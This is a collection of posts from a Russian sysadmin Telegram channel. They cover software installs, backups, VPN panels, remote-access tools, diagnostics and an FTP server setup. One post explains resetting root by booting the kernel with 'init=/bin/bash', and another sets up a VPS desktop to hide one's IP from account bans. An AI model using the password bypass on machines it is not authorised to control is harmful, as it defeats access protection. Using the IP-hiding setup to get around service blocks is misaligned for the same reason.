ServerAdmin.ru
28.9K subscribers
305 photos
35 videos
13 files
2.63K links
Авторская информация о системном администрировании.

Информация о рекламе: @srv_admin_reklama_bot
Автор: @zeroxzed

Второй канал: @srv_admin_live
Сайт: serveradmin.ru
Download Telegram
​​Для тех, кто всё ещё ищет себя в IT или планирует перепрофилироваться в какое-то смежное направление, рекомендую обратить внимание на курс по нейросетям. Курс полностью бесплатный. Его автор – Созыкин Андрей. Известен он тем, что записал хороший курс по сетям, на который много положительных отзывов.

Я изучал его сайт и заметил курс Программирование нейросетей на Python. Если бы я сейчас выбирал направление, куда пойти, то скорее всего выбрал бы что-то связанное с AI. Во-первых, мне кажется, это очень интересным. Во-вторых, реально востребованным. В-третьих, это тоже IT, связанное в программированием и немного эксплуатацией. С админской базой заходить будет проще, чем с самого нуля. То есть если сисадмину захочется перепрофилироваться в интеллектуальный анализ данных, то для него это вполне реально. Особенно если он уже знает Python. Но даже если не знает, освоить его не трудно.

Курс объёмный, структурированный, с лекциями и практическими работами. Оформлен как полноценный университетский курс, что не удивительно, так как Андрей преподаёт в Московском физико-техническом институте.

У Андрея есть YouTube канал, где он недавно озвучил свои планы по его развитию на 2024 год. Он планирует:
Обновить курс по компьютерным сетям.
Сделать курс по DevOps.
Расширить свой небольшой курс по SQL.
Так что подписывайтесь.

Если кто-то из подписчиков вдруг занимается нейросетями, расскажите, каково это. Легко, сложно, интересно или нет? Как пришли к этому, где учились, что можете порекомендовать?

#обучение
​​У известного онлайн редактора документов ONLYOFFICE Docs на днях случилось крупное обновление до версии 8.0. Я люблю этот продукт и активно использую как сам, так и ставлю для других людей. Его особенность в том, что бесплатная версия позволяет работать одновременно над 20-ю документами онлайн. Это комфортное ограничение, которое позволяет использовать продукт небольшим командам, где людей может быть сильно больше 20-ти. Ограничение только на онлайн редактирование. Если его превысить, документы будут открываться только на чтение. Онлайн документы Яндекса работают на этом же движке.

Посмотрел ролик про новую версию. Отметил следующие нововведения:

большое обновление для работы с формами в редакторе;
улучшенное API для работы с формами;
расширенные возможности таблиц, в том числе по построению диаграмм;
чат и онлайн комментарии для совместной работы с документами;
улучшенная работа с плагинами.

Если хотите сами посмотреть нововведения этой версии, то вот видео от разработчиков:

▶️ Introducing ONLYOFFICE Docs 8.0

В рассылке с обновлением авторы продукта предложили получить community version с сайта Univention App Center. Не знаю, с чем это связано. Возможно какое-то сотрудничество организовали. Этот app center представляет собой магазин приложений для другого продукта - Univention Corporate Server (UCS), про который я ранее писал отдельно. На странице Univention App Center Catalog также можно сразу загрузить образы виртуальных машин, где ONLYOFFICE Docs интегрированы в Nextcloud или ownCloud. Я не понял, как все эти продукты между собой связаны и почему они все оказались на сайте UCS.

Сам я всегда использовал этот редактор документов в составе бесплатной версии ONLYOFFICE Workspace Community, который проще всего установить через Docker. Для этого есть готовый скрипт, который всё делает за вас:

# wget https://download.onlyoffice.com/install/workspace-install.sh
# bash workspace-install.sh

На вопрос установки через Docker ответьте утвердительно, а на запрос установки почтового сервера ответьте отказом. В общем случае не рекомендую ставить почтовый сервер в составе Workspace, так как в этом нет большого смысла. Лучше поднять его отдельно или использовать внешний сервер. А в Workspace можно подключать ящики по imap и отправлять по smtp. Там полноценный веб клиент есть. Но можете и встроенный попробовать, если сильно хочется и лень заморачиваться с отдельным сервером. Будет отдельный контейнер с postfix.

После установки идёте по IP адресу сервера и выполняете начальную настройку. Если в процессе тестирования поймёте, что продукт вам подходит, тогда уже можно более детально разобраться в установке: поменять все дефолтные учётки в скриптах, вынести отдельные директории на нужные диски и т.д. Также можно вручную установить через Docker Compose, аккуратно настроив все переменные.

❗️Продукт довольно жирный, так что устанавливать рекомендую на виртуалку с 4 vCPU и 8 Gb памяти. Установка очень простая. Буквально две команды, что я привёл выше, и можно идти, пользоваться. Никаких дополнительных настроек делать не надо, чтобы всё заработало.

ONLYOFFICE Workspace очень приятный продукт, в котором реализованы множество интеграций. Зайдите в раздел Настройки ⇨ Интеграция и оцените сами. Можно подключить облако Selectel, вход по учётке VK или Яндекс, уведомления в Telegram и т.д. Также загляните в раздел Настройки ⇨ Панель управления и оцените возможности. Там можно настроить https, бэкап и восстановление, брендирование, поиск, ldap, sso и многое другое.

Отдельно отмечу, что у этих же авторов есть полностью бесплатные Desktop и Mobile приложения для работы с офисными документами. Туда тоже все эти обновления приехали, так как они по сути обёртки над веб сервисом, написанном на javascript. Благодаря этому, редакторы доступны под все популярные ОС.

#onlyoffice #docs
​​Яндекс.Диск – одно из самых дешёвых файловых хранилищ. При этом с хорошей скоростью. У него есть полнофункциональный Linux клиент, который умеет работать только в консоли. Его без проблем можно установить на сервер без gui и складывать туда бэкапы.

Установить его просто, так как есть репозиторий под это дело:

# echo "deb http://repo.yandex.ru/yandex-disk/deb/ stable main" | tee -a /etc/apt/sources.list.d/yandex-disk.list > /dev/null
# wget http://repo.yandex.ru/yandex-disk/YANDEX-DISK-KEY.GPG -O- | apt-key add -
# apt update && apt install yandex-disk

После этого запускаете:

# yandex-disk setup

Дальше следуете указаниям мастера, проходите авторизацию устройства, указываете директорию, которая будет синхронизироваться с диском. После этого все файлы, положенные в эту директорию, будут синхронизироваться с облаком.

При работе таким образом важно понимать нюансы. Нельзя бэкапы держать только на Яндекс.Диске. Если у него будет сбой и повредятся или пропадут файлы, то и у вас они пропадут, так как синхронизация двусторонняя. Я лично с таким сталкивался. Так что это в первую очередь холодное хранение одной из копий. Нельзя полагаться только на неё. И хотя фактически данные хранятся в двух местах – у вас на диске и в облаке. Потеряете и там, и тут, если не предпримете отдельных действий.

Второй нюанс в том, что все синхронизируемые данные лежат и на сервере, и на диске. А на сервере зачастую нет большого количества свободного места, так как оно тоже денег стоит, особенно если он арендуется. Из этой ситуации можно выйти, отправляя файлы напрямую в диск через API, без родного клиента. Это умеет делать rclone, либо можно самостоятельно передавать туда файлы с помощью простейшего bash скрипта.

Я не раз видел отзывы, что у Яндекс.Диска плохая скорость. Вот конкретно в Москве никогда такого не наблюдал. Он канал до 100 мегабит спокойно утилизирует весь. Я им пользуюсь постоянно, проверял не единожды. Так что могу смело его рекомендовать с поправкой на то, что данные там могут быть утеряны. Ну а где этого не может случиться? Везде можно потерять, поэтому храните несколько копий.

И ещё такой момент. Сам Яндекс через техподдержку всегда говорит, что максимальную скорость гарантирует только при использовании родного клиента. Все остальные способы доступа к файлам работают как получится. Возможно в каких-то случаях скорость сознательно урезается. С webdav это точно происходит.

#backup
За всю мою трудовую деятельность на поприще администрирования серверов Linux мне не приходилось сбрасывать пароль системного root. От mysql серверов приходилось и не раз, а вот системный не было нужды. Всегда доставались сервера с известными учётками, а сам я их не забывал никогда.

Решил посмотреть как это делается и вам рассказать. Это типовая задача для собеседований, либо для базовой сертификации Redhat, типа RHCE и RHCSA. Если не ошибаюсь, какая-то из этих сертификаций начинается с того, что вам надо сбросить пароль root. Где-то слышал об этом, но могу ошибаться, так как сам эти экзамены не сдавал.

Задача оказалась простейшая. Я даже не ожидал, что настолько. Правда, есть нюансы. В общем случае, вам нужно включить машину, дождаться загрузочного меню GRUB и нажать латинскую e. Попадёте в окно с настройкой параметров загрузки ядра. Ищите строку, которая начинается с Linux, и в самый конец дописываете: rw init=/bin/bash. Дальше жмёте ctrl+x или F10 и начинается стандартная загрузка. В конце вы сразу же окажитесь в командной строке под пользователем root без ввода какого-либо пароля. Теперь его можно сбросить командой passwd.

Всё реально просто, в инете масса инструкций. Но, к примеру, с Hyper-V у меня не получилось провернуть такой трюк. Не знаю по какой причине, но с указанной настройкой ядра система загружается, но потом вообще не реагирует на нажатия клавиатуры. Наглухо повисает управление. И так, и сяк пробовал, ничего не получилось. Остаётся только один путь - загружаться с какого-то livecd, монтировать корень системы и сбрасывать пароль там. При этом с Proxmox таких проблем не возникло.

В принципе, запоминать всё это не имеет большого смысла, так как гуглится за 5 минут. Достаточно просто знать, что для сброса пароля root необходимо:
1️⃣ Иметь прямой доступ к консоли сервера.
2️⃣ Изменить сценарий загрузки ядра, добавив туда прямой запуск командной оболочки через параметр init.
3️⃣ Загрузиться с изменённым init и штатно задать пароль root.

А что вообще в итоге происходит? Что означает этот init? В unix-подобных системах init является первым запускаемым процессом, который будет родителем всех остальных процессов. Он обычно живёт в /sbin/init. В современных системах это ссылка на systemd, так как именно она управляет загрузкой системы. С помощью параметра ядра init мы заменяем системный init, который загружается при стандартном запуске системы, на оболочку bash. Ну и получаем её загрузку самой первой. Это если на пальцах, как я это понимаю. В документацию специально не углублялся.

Для форков RHEL инструкция будет немного другая. Там команда ядра, которую надо добавить будет не rw init=/bin/bash, а rw rd.break enforcing=0
. Ну а смысл тот же самый.

В Windows процедура сброса пароля администратора более замороченная.

#linux
​​Для WireGuard существует большое количество простых панелей управления, типа wg-easy (мне, кстати, нравится, я пользуюсь), либо каких-то более масштабных готовых продуктов с WG внутри. Но насколько я знаю, мало кто из них поддерживает аутентификацию через LDAP.

Для решения этой задачи существует WireGuard Portal. Я не раз видел положительные отзывы о нём, в том числе в комментариях к своим заметкам. Это полностью бесплатный, open source проект. Его ещё с какого-то времени Docker начал спонсировать.

WG портал легко устанавливается и настраивается. Это веб интерфейс для управления пользователями VPN. Особенность его в том, что он поддерживает хранение пользователей в SQLite, MySQL, MsSQL, Postgres и аутентификацию через OAuth или LDAP (Active Directory и OpenLDAP). Для бесплатного продукта это хороший набор возможностей. Обычно всё, что связано с LDAP, относится к коммерческим версиям.

Не буду писать полную инструкцию по установке и настройке, потому что она не уместится в формате заметки. Расскажу только основные нюансы:

1️⃣ WG Portal использует текущую установку WireGuard в системе, сам не ставит. Так что предварительно установите WG вручную. А если он уже установлен, то забэкапьте на всякий случай свои настройки в /etc/wireguard, если она вам нужны. Портал будет их менять в процессе управления.
2️⃣ Версия v2 пока в разработке. Используйте stable v1.
3️⃣ По умолчанию, если не будет отдельно настроено хранение пользователей, они будут храниться в .data/sqlite.db, откуда вы запустите compose.
4️⃣ Пример композа и конфигурации можно посмотреть на dockerhub или в документации. Не забудьте v2 поменять на v1. Почему-то все примеры с v2, хотя это ветка для разработки.

В целом, каких-то особых сложностей в установке и настройке нет. Ниже ссылка на видео, где подробно описан весь процесс, в том числе с LDAP.

Сайт / Исходники / Видеоинструкция

#vpn #wireguard
Решил немного подбить тему по поводу бесплатных open source решений для удалённого управления компами, когда сервер можно развернуть у себя. Я когда-то давно разворачивал и пробовал всё, что было более менее известное. С тех пор осталась статья: Топ 10 бесплатных программ для удалённого доступа. Список продуктов там актуален, но некоторые сильно изменились.

🟢 Например, мне очень понравился MeshCentral. Я его разворачивал и внедрял в одной компании. Удобный сервис с управлением через веб интерфейс. Имеет интеграцию с системой мониторинга и управления компами Tactical RMM. Некоторое время назад видел информацию, что якобы разработчик MeshCentral подзабил на развитие проекта, потому что утратил интерес. Зашёл в репозиторий и не заметил этого. Там коммиты почти каждый день и релизы регулярно выкатываются. Если у кого-то есть информация по этому поводу, поделитесь.

🟢 Другой популярный продукт с хорошими возможностями и отзывами - Aspia. Когда я его пробовал, 2-я версия только вышла, ещё не было документации. Сейчас это исправлено, документация есть. Отзывы на этот продукт видел исключительно положительные. У него возможности сопоставимы с некоторыми платными решениями: управление пользователями и правами, адресная книга, свой роутер/релей, запись сессий и т.д.

🟢 Ещё один функциональный и бесплатный сервис - Rustdesk. У него какое-то невероятное количество звёзд на гитхабе (~60k). Не знаю, за что конкретно именно его так любят пользователи. У него очень простая установка своего сервера, так как он упакован в Docker. Можно быстро запустить и использовать для подключения клиентов. Возможности плюс-минус как у всех, но есть некоторые особенности. Например, умеет открывать tcp туннели, прокидывая открытые порты от клиента, поддерживает аппаратные кодеки H264/H265. Сам сервис живёт за счёт облачных услуг, что обуславливает хорошую поддержку и развитие.

Перечислил 3 наиболее известных и функциональных бесплатных сервиса. Если вам есть, что сказать про них, особенно если сами используете, то поделитесь информацией. А если я пропустил что-то новое и не менее удобное, то дополните список.

#remote
​​Если вам нужно продебажить какой-то контейнер, в котором нет никаких инструментов для диагностики (а это почти всегда так), то для этого можно воспользоваться специально собранным для этих целей контейнером - Network-Multitool. Его ещё любят в кубернетисе запускать для отладки. Известная штука.

Работает он примерно так. Запускаем контейнер, внутри которого ничего нет, кроме nginx:

# docker run --name nginx -d -p 8080:80 nginx
# docker exec -it nginx bash
# ps axf
bash: ps: command not found

Подключаем к нему network-multitool:

# docker run --rm -it \
--network=container:nginx \
--pid container:nginx \
wbitt/network-multitool:alpine-extra bash

# ps axf
  PID TTY   STAT  TIME COMMAND
   47 pts/0  Ss   0:00 bash
   60 pts/0  R+   0:00 \_ ps axf
   1 ?    Ss   0:00 nginx: master process nginx -g daemon off;
   29 ?    S   0:00 nginx: worker process
   31 ?    S   0:00 nginx: worker process
   30 ?    S   0:00 nginx: worker process
   32 ?    S   0:00 nginx: worker process

Дальше всё остальное можно запускать: ping, dig, tcpdump и т.д.

Я тут выбрал самую жирную сборку alpine-extra, где максимальный набор инструментов, в том числе tshark, ApacheBench, mysql & postgresql client, git и т.д. Если всё это не надо, то используйте alpine-minimal. Описание сборок в репозитории.

Похожую функциональность имеет cdebug. У него принцип работы такой же, только он для удобства собран в бинарник. А подключается он к контейнерам точно так же.

Кстати, с помощью network-multitool можно и хост дебажить, если не хочется его засорять различными утилитами. Запускаем его в сети хоста и пользуемся:

# docker run --rm -it --network=host wbitt/network-multitool:alpine-extra bash
# tcpdump

На хост ничего ставить не надо. Полезная штука, берите на вооружение.

#docker #devops
Хочу привлечь ваше внимание к моей старой публикации, к которой я сам постоянно обращаюсь. Это заметка про анализ дисковой активности в Linux. Вчера в очередной раз к ней обращался, поэтому решил и вам напомнить.

В Zabbix прилетели триггеры на тему повышенного сетевого трафика с виртуальной машины разработчиков 1C и нагрузки на общий файловый сервер, который они используют для обмена информацией. Так как разработчики внешние на аутсорсе, внимание к этой виртуалке повышенное, поэтому я сразу решил проверить, в чём дело. В общем случае это некритичные триггеры, в основной инфраструктуре у них пороги либо очень высокие, либо вообще отключены.

Зашёл на виртуалку, сразу увидел через htop, что нагрузку даёт samba. Через iftop увидел, что активно идёт трафик с указанной виртуалки. Захотелось узнать, что конкретно пишут. Тут я сходу не вспомнил утилиту, поэтому полез в указанную заметку. Что конкретно в данный момент пишется на диск смотрю командой:

# fatrace -f W
smbd(20632): W /data/1c-bases/БП обновление 2024 ТЕСТ/1Cv8.1CD

Там оказались какие-то выгрузки 1С. Сразу позвонил человеку, который отвечает за эти дела. Он подтвердил, что да, всё по плану.

Чуть раньше тоже разбирался с работой веб сервера и конкретно MySQL, смотрел, что и куда пишет служба, чтобы понять, в чём конкретно узкое место и как можно разнести файловую нагрузку. Надо было решить вопрос, почему сервер тормозил и медленно отвечал сайт.

В общем, эти утилиты по анализу дисковой активности прям топ. Сильно упрощают задачу анализа работы сервера. Перечислю их тут списком:

- btrace
- iostat
- iotop
- fatrace
- strace
- lsof
- iosnoop
- biosnoop

Ну а подробности с примерами тут.

#perfomance
Посмотрел вчера видео на тему проброса видеокарты в Proxmox:

▶️ Проброс видео карты в Proxmox

Я сам ни разу этого не делал, так как не было нужды. Вообще не припомню в своём управлении ни одного сервера с видеокартой. Для проброса видеокарты нужно:

1️⃣ Отредактировать параметры ядра хоста, отключить некоторые стандартные драйвера видеокарты.
2️⃣ Пересобрать initramfs хоста, перегрузить его.
3️⃣ Выбрать особые настройки VM, отключить у неё экран.
4️⃣ После этого добавить в неё видеокарту.

Меня удивила немного неочевидная настройка всего этого дела. А особенно отсутствие потом возможности подключиться к консоли VM с проброшенной видеокартой. Это типичная история для проброса видеокарты, или частный случай автора? Прямого доступа к консоли виртуалки с проброшенной картой реально не будет? Это неудобно. И не понятно, почему так получается.

Дайте, пожалуйста, обратную связь по этой теме, кто пробрасывал видеокарты в виртуалки.

p.s. Рекомендую канал и сайт автора. Там есть интересные и полезные материалы.

#proxmox
Опишу своими словами сетевую настройку в ситуации, когда у вас условно от провайдера есть один провод с интернетом и на нём несколько IP адресов. Многие люди не понимают, как в таком случае настраивать сеть, чтобы иметь возможность использовать разные IP адреса. Я много раз получал такие вопросы и даже голосом некоторым рассказывал, как с этим работать.

Возьму популярный пример, когда вы арендуете выделенный сервер и с ним /29 подсеть. Либо у вас в офис от провайдера приходит провод с /29 подсетью, а это всё воткнуто в какой-то шлюз. Например, в Mikrotik. Тогда заметка будет актуальна для обоих ситуаций, так как в Mikrotik линуксовый файрвол iptables. Принцип настройки которого один и тот же.

Итак, у вас сервер и несколько IP адресов. Если это гипервизор, то у вас могут быть 2 принципиально разных варианта настроек:

1️⃣ Вы делаете сетевой бридж с интерфейсом, на который приходят IP адреса. На самом гипервизоре и на виртуальных машинах настраиваете этот бридж. Файрвол на гипервизоре можно вообще не настраивать, он тут не нужен для управления трафиком. Каждая VM получает свой внешний IP адрес. Это самый простой вариант настройки. Но тут виртуалок с разными IP адресами может быть не больше, чем у вас есть IP адресов. Если нужно 3 виртуалки выпускать в интернет через один IP адрес, а 2 других через другой, то такой вариант уже не подходит.

2️⃣ У вас может быть несколько серверов и куча виртуальных машин за шлюзом, к которому подключен шнурок от провайдера. И вы хотите какие-то подсети выпускать в интернет через один IP адрес, а какие-то через другой. Здесь уже нужен будет файрвол на шлюзе. Если это гипервизор Proxmox, то можно настраивать iptables прям на нём. Но лучше вынести такую задачу на отдельную виртуальную машину.

Принцип настройки тут будет следующий. Вы на шлюзе настраиваете все внешние IP адреса, какие будете использовать. Далее с помощью iptables маркируете (mangle) трафик из разных подсетей разными метками. Признак маркировки - источник в виде адреса подсети или отдельных IP адресов, если вам не подсетями делить нужно, а отдельными адресами. После этого вы создаёте маршруты через нужные внешние IP адреса на основе меток. Трафик с разными метками будет выходить через разные IP адреса. И в завершении нужно будет добавить правила NAT (snat) для разных внешних IP адресов (--to-source). Тоже на основе меток.

Первый раз такая настройка кажется запутанной и непонятной. Но на самом деле настроить это не сложно. Главное, понять суть. Чисто технически тут не придётся делать много сложных настроек. Если всё сложится, то вскоре у меня появится возможность показать подобный пример в виде статьи.

3️⃣ Есть ещё промежуточный вариант, более простой, чем второй. Вы настраиваете, как в первом случае, каждой машине свой внешний IP адрес через бридж. И эти машины делаете шлюзами для разных подсетей. Тогда вам не придётся заниматься маркировкой и маршрутизацией как во втором случае. Ситуация менее гибкая, но зато простая в настройке.

#network
Я подписан на больше количество IT каналов. И, что самое удивительное, большую часть видео, что там выходят, я смотрю, хотя бы мельком, чтобы уловить суть. Так как каналы авторские, суммарный объём роликов не такой большой. Причём это как русскоязычные, так и англоязычные авторы.

Решил сделать подборку за прошедшую неделю того, что мне показалось интересным:

▶️ ТРАБЛШУТИНГ LINUX // Основные команды, примеры
Новый канал пока ещё не очень известного автора Юрия Семенькова. Но, как мне показалось, потенциал и желание снимать ролики есть. Так что подписался, буду ждать продолжений. А этот ролик будет полезен новичкам в Linux. Для уже состоявшихся админов там вряд ли будет что-то новое.

▶️ Что же выбрать? WD Gold или Seagate Ironwolf Pro?
Автор купил по диску той и другой линейки. По каждому снял отдельное видео, а потом сравнил диски между собой. Предпочтение отдал серии WD Gold. Мне было интересно посмотреть, так как за железом особо не слежу, а хоть немного ориентироваться нужно. Я последние лет 10 заказываю HDD диски только WD и в основном серии Red и Red Pro. Это компромисс между стоимостью и надёжностью. Они подешевле серии Gold.

▶️ WG Easy - open source, self hosted Wireguard server setup tool with a simple, intuitive web UI!
Я недавно упоминал про наиболее простую и удобную веб панель управления VPN сервером WireGuard - WG Easy. Из тех, что я пробовал, лично мне она понравилась больше всего. В ролике очень подробный обзор этой панели.

▶️ ZABBIX 7.0 - MFA Configuration Explained
В Zabbix 7.0, который пока ещё в бете, будет двухфакторная аутентификация. Известный автор Dmitry Lambert показывает, как это работает. Нравятся его ролики про Zabbix. Всё остальное не особо. Недавно он рассказывал, как собирает себе NAS дома (кто его только не собирает?). Мне вообще не зашло.

▶️ 006. IPMI. Supermicro. Удалённое управление железом.
Автор показывает, как управлять сервером Supermicro через модуль удаленного управления IPMI на примере установки туда Proxmox со своего ISO. Интересно только для тех, кто не знает, как всё это выглядит и хочет посмотреть. Я постоянно взаимодействую с этой максимально неудобной из всех существующих серверных платформ, так что ничего нового там не увидел. У меня всегда в управлении было больше всего платформ именно Supermicro. Лично мне больше всего нравится iDRAC от Dell.

▶️ QoS вводная лекция
Тема про настройку QOS в Mikrotik от известного тренера Романа Козлова. У него качественные и интересные материалы на канале. Так что если тема Микротиков вам близка, подписывайтесь.

Если вам интересен такой формат, то могу делать подборку раз в неделю-две по мере накопления материала. Проголосуйте 👍 или 👎 за пост. Если плюсов будет больше, то подобные публикации будут выходить регулярно.

#видео
​​На канале было много обучающего материала про git. Как курсы, так и тренажёры, игры. Но при этом я ни разу не упомянул про книгу с переводом на русский язык Pro Git (авторы Scott Chacon и Ben Straub). Она полностью переведена и выложена на сайте:

https://git-scm.com/book/ru/v2

Я не могу сказать, что это самая лучшая книга про git или что-то в этом роде, потому что других не читал. Но к этой возвращался много раз. На неё ведёт много поисковых запросов из поисковиков. Регулярно вижу их, когда что-то ищу по git. Некоторые главы книги я внимательно изучал, когда разбирался с какой-то темой.

Сейчас существует не так много обучающего материала в текстовом виде, да ещё в веб версии, с которой легко и удобно работать - искать, читать. Книга даже в электронном виде не так удобна для взаимодействия. А вот если она выложена по главам на сайте, то это уже другое дело. Да ещё и полностью бесплатно.

Там же, кстати, есть и pdf, и epub версия. И так же есть git версия на github:
https://github.com/progit/progit2-ru

#обучение #git
Коротенькая заметка буквально сходу. Ютуб подкинул сегодня в рекомендации видео, где человек рассказывает, как его в 2008 году привлекли за установку нелицензионного ПО:

▶️ https://www.youtube.com/watch?v=EqjYk-UYTM4

Он подробно всё описал, интересно было послушать. Можно подумать, что дело давнее и сейчас уже всё не так. К сожалению, всё так. Я делал тут заметку несколько лет назад. Года 4 наверное прошло уже. В общем, одного знакомого точно так же взяли. Он подрабатывал настройкой компов. Получил заказ, приехал на подставную квартиру и его ровно так же оформили и дали условно. Тоже благодаря всяким смягчающим обстоятельствам получил минималку.

Так что будьте аккуратны и по возможности с нелицензионным ПО не связывайтесь.

#разное
​​В устройствах Mikrotik есть очень простой способ анализа любого трафика, проходящего через него. Вы можете весь или только выборочный трафик отправить в Wireshark, запущенный на любой машине. Делается это с помощью штатного инструмента, который располагается в Tools ⇨ Packet Sniffer.

Чтобы им воспользоваться, необходимо на любом компьютере в локальной сети запустить Wireshark с фильтром udp port 37008 на локальном сетевом интерфейсе. В самом Mikrotik надо открыть в указанном разделе настройки, вкладку General можно не трогать. На вкладке Streaming поставить галочку Enabled, указать IP адрес машины с Wireshark и порт 37008. На вкладке Filter можно конкретизировать, какой именно трафик будем отправлять. Если не настроить фильтр, то отправляться будет весь трафик. После настройки там же запускаем сниффер, нажав Start.

После этого идём в Wireshark и наблюдаем там весь трафик с Микротика. Очень просто, быстро и удобно. Случайно узнал об этой возможности. Сам не пользовался никогда. А трафик если надо было куда-то отправить, то отправлял через NetFlow. Но для разовых задач описанный способ проще и удобнее.

Сколько лет прошло, а по удобству и функциональности так и не появилось у Микротиков конкурентов. Даже несмотря на то, что последнее время компания выпускает не очень удачные с точки зрения удобства пользователя модели, сознательно обрезая те или иные возможности, чтобы загонять пользователей в более дорогие сегменты. Ничего лучше за те же деньги всё равно нет.

И если бы мне нужен был какой-то роутер, я бы всё равно выбирал из моделей Mikrotik. Мне они просто нравятся. Хорошо, что пока не нужны, так как цены кусаются. Из всех устройств, что я приобретал для себя или куда-то в компании, все они до сих пор успешно работают.

#mikrotik
​​Если вам нужно хорошенько нагрузить интернет канал и желательно с возможностью некоторого управления суммарным объёмом трафика, то предлагаю вам свой простенький скрипт, который набросал на днях. Он использует публичные Looking Glass российских хостеров, у которых сервер проверки стоит в Москве. Мне так надо было. Подобрать нужных хостеров можно тут.

#!/bin/bash
steps=$1
for ((i=0;i<$steps;i++))
do
 echo "$i STEP, TO STOP [CTRL+C]"
 wget -O /dev/null https://speedtest.selectel.ru/100MB
 wget -O /dev/null https://msk.lg.aeza.net/files/100MB
 wget -O /dev/null https://45-67-230-12.lg.looking.house/100.mb
 wget -O /dev/null https://185-43-4-155.lg.looking.house/100.mb
 wget -O /dev/null https://185-231-154-182.lg.looking.house/100.mb
done

Запускаем скрипт, указывая нужное количество проходок скачивания указанных файлов:

# ./wget.sh 5

И скрипт 5 раз пройдёт по этому списку, скачав 500 мегабайт за проход. Чаще всего у хостеров есть там же файлы по 1000MB. Так что зачастую просто добавив нолик в урле, можно увеличить размер файла. Мне не надо было, поэтому качал по 100. Сам список тоже можно сделать очень длинным.

Скрипт удобно использовать для отладки триггеров в мониторинге на загрузку сетевого интерфейса.

#script
​​Знакомый вчера попросил помочь с компом с установленной Windows. Я давно уже особо не занимаюсь обычными компами и каких-то нюансов, современных проблем пользователей тоже не знаю. У меня дома 5 компов, на каждого члена семьи по одному. Вот это моя зона ответственности.

В общем, решил помочь. Симптомы такие, что ни в одном браузере ни один сайт не открывается. Ругается на то, что не может проверить сертификат. А сертификат там заменяет Kaspersky, так как он установлен, лицензия актуальна, все проверки стоят. При этом сам Kaspersky тоже выбрасывает ошибки: не может обновиться (хотя ещё вчера обновлялся), не может проверить лицензию. Хотя если зайти в ЛК Каспера, там видно, что лицензия активна.

До кучи AnyDesk тоже не может подключиться к своей сети. Выдаёт ошибку соединения, без подробностей. Так что подключаться мне пришлось через другой комп в локалке по RDP. Хорошо хоть этот доступ сработал.

Не буду томить подробностями того, что там делал (ребуты, проверки на вирусы и т.д.). Сразу скажу, в чём была проблема. Случайно увидел, что дата неправильная. Время и число верные, а месяц стоит апрель, а не февраль. Поставил правильную дату и сразу всё заработало. Кто, когда и как поменял время, осталось неизвестным. Сам знакомый говорит, что не делал этого. Я не стал разбираться. Проблема решилась, да и ладно. Сказал, чтобы следил за временем, если вдруг опять изменится.

Вообще, я удивлён, что неправильное время из будущего принесло столько проблем, что аж работу антивируса нарушило. По идее, антивирус должен следить за этим, если для его работы это критично. Я не раз сталкивался с тем, что проверки сертификатов не работают из-за неправильного времени, но тут одно к одному приложилось несколько проблем: anydesk и kaspersky. Сразу не пришло в голову, что это всё из-за сертификатов и невозможности их проверить.

По факту сейчас всё с использованием TLS работает, так что время очень важный параметр. Его мониторить надо. Во времена, когда Zabbix по умолчанию не умел следить за временем на хостах, я придумывал свои проверки. Потом они уже добавили в стандартные шаблоны это.

#windows #security
​​Несмотря на то, что протокол FTP в современном мире успешно заменяется другими, отказываться полностью некоторые люди от него не хотят. Меня иногда просят его настроить веб разработчики. И также регулярно вижу его на серверах, где 1Сники что-то делают. Не знаю, как конкретно они его используют, но для 1С он по-прежнему иногда нужен.

Из линуксовых ftp серверов я всегда отдавал предпочтение vsftpd. Не знаю, чем они все отличаются друг от друга, но этот всегда успешно решал все мои задачи, поэтому пробовать что-то другое не было особого смысла.

Я покажу как быстро установить и настроить vsftpd на Debian, сразу прикрутив к нему TLS. Без шифрования сейчас как-то не принято настраивать передачу, хотя зачастую оно не нужно. Особенно если передача ведётся в рамках виртуальных машин одного гипервизора. Если TLS не нужен будет, просто закомментируете соответствующие настройки. И сразу дам подсказку, пока не забыл. Если какие-то FTP клиенты не захотят подключаться по TLS, выдавая неинформативные ошибки, проверяйте версию TLS, которую они используют. Современные системы могут не позволить без дополнительных настроек подключиться с помощью протокола ниже TLS1.2, а какие-то старые клиенты могут его не использовать.

Устанавливаем vsftd на Debian 12:

# apt install vsftpd

Рисуем ему конфиг /etc/vsftpd.conf:

listen=YES
listen_ipv6=NO
anonymous_enable=NO
local_enable=YES
write_enable=YES
local_umask=022
dirmessage_enable=YES
use_localtime=YES
xferlog_enable=YES
xferlog_file=/var/log/vsftpd.log
xferlog_std_format=YES
connect_from_port_20=YES
idle_session_timeout=600
data_connection_timeout=120
userlist_enable=YES
userlist_file=/etc/vsftpd.user_list
userlist_deny=NO
chroot_local_user=YES
allow_writeable_chroot=YES
secure_chroot_dir=/var/run/vsftpd/empty
pam_service_name=vsftpd
ascii_upload_enable=YES
ascii_download_enable=YES
rsa_cert_file=/etc/ssl/localhost.pem
rsa_private_key_file=/etc/ssl/localhost.pem
ssl_enable=YES

Создаём системного пользователя, который будет подключаться по ftp:

# useradd -s /usr/sbin/nologin -m ftp-user
# passwd ftp-user

Сразу скажу важный нюанс. По умолчанию vsftpd не пускает пользователя без shell. Я не знаю, зачем так сделано. Отключить проверку shell можно в файле /etc/pam.d/vsftpd, закомментировав строку:
#auth required pam_shells.so
Если будете подключаться пользователями с оболочкой, то делать этого не обязательно.

Создаем файл со списком пользователей ftp, которым разрешен доступ к серверу:

# touch /etc/vsftpd.user_list
# echo 'ftp-user' >> /etc/vsftpd.user_list

Создаём сертификат:

# openssl req -new -x509 -keyout /etc/ssl/localhost.pem -out /etc/ssl/localhost.pem -days 3650 -nodes

Перезапускаем vsftpd с новым конфигом:

# systemctl restart vsftpd

Всё, можно подключаться и проверять работу. Пользователь подключится в свой домашний каталог по ftp. На картинке ниже настройки клиента.

#ftp
​​Решил проверить, на какой минимальной VPS можно поднять Linux с рабочим столом и браузером, чтобы можно было подключаться к нему и работать удалённо. Это актуально для тех, у кого есть потребность в рабочем месте, где гарантированно будет нигде не засвеченный ранее твой IP адрес. Если использовать VPN или прокси на основной машине, рано или поздно всё равно спалишь свой IP из-за каких-нибудь ошибок. И получишь блок акка.

Взял VPS 1CPU, 1Gb RAM, 10Gb SSD и у меня всё получилось. Использовал:

Debian 12 minimal в качестве системы
Lxde-core в качестве графического окружения
X2Go в качестве удалённого доступа к системе

Настройка максимально простая, осилит каждый. Устанавливаем lxde-core и x2go:

# apt install x2goserver x2goserver-xsession lxde-core

Уже можно подключаться, скачав клиент x2go под свою систему. В качестве аутентификации используется локальная учётка пользователя, не root, с правами подключения по ssh.

